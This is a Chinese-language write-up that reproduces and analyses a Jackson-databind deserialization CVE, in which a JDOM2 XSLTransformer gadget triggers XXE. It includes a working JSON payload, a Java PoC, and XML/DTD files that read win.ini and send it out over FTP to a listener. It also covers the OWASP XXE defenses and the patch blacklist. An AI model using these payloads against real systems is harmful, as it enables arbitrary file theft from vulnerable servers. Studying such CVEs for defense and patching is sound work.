该CVE其实是反序列化XXE导致的任意文件读取漏洞,这里简单复现分析下这条利用链。
Jackson 2.x系列 <2.9.9.1
需要 JDOM 1.x 或 JDOM 2.x 的依赖支持。
需要的jar:jackson-annotations-2.9.9,jackson-core-2.9.9,jackson-databind-2.9.9,jdom2-2.0.6。
关键PoC:
["org.jdom2.transform.XSLTransformer", "http://127.0.0.1/exp.xml"]
完整Demo:
public class PoC { public static void main(String[] args) { String payload = "[/"org.jdom2.transform.XSLTransformer/", /"http://127.0.0.1/exp.xml/"]"; ObjectMapper mapper = new ObjectMapper(); mapper.enableDefaultTyping(); try { Object object = mapper.readValue(payload, Object.class); } catch (IOException e) { e.printStackTrace(); } } }
接着就是XXE的FTP外带数据的参数实体解析攻击了。
exp.xml:
<!DOCTYPE ANY[ <!ENTITY % file SYSTEM "file:///c:/windows/win.ini"> <!ENTITY % remote SYSTEM "http://127.0.0.1/xxe/evil.dtd"> %remote; %send; ]>
evil.dtd:
<!ENTITY % all "<!ENTITY send SYSTEM 'ftp://127.0.0.1:21/%file;'>"> %all;
开启Web服务放置exp.xml和evil.dtd,再开启FTP服务进行监听接受数据。
运行,FTP服务端即可接收到目标文件内容:
前面的解析过程和之前分析的反序列化过程几乎是一样的,我们直接在newInstance()新建的实例中看到,调用到XSLTransformer类的构造函数,其中调用了newTemplates()方法来新建模板:
跟进newTemplates()方法,其中调用了XSLTC.compile()方法对输入参数内容进行解析:
跟下去,发现调用parse()函数来解析根节点的抽象语法树:
再跟进去看看,就是调用Parser.parse()解析XML,且调用的setFeature()设置的并不是XXE的有效防御设置,导致XXE漏洞的存在:
再往下,就是调用SAXParser.parse()函数来解析该XML内容了,就是XXE的触发的地方。
值得一提的是,OWASP推荐的防御XXE的setFeature()要设置下面几个值:
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); factory.setFeature("http://xml.org/sax/features/external-general-entities", false); factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false); factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
很明显看到,前面漏洞代码中setFeature()设置的并非前面的防御设置,因此并不能防御XXE:
public static final String NAMESPACE_FEATURE = "http://xml.org/sax/features/namespaces";
Jackson在2.9.9.1版本中添加了该JDOM类的黑名单,具体的可在jackson-databind-2.9.9.1-sources.jar!/com/fasterxml/jackson/databind/jsontype/impl/SubTypeValidator.java中看到:
// [databind#2341]: jdom/jdom2 (2.9.9.1) s.add("org.jdom.transform.XSLTransformer"); s.add("org.jdom2.transform.XSLTransformer");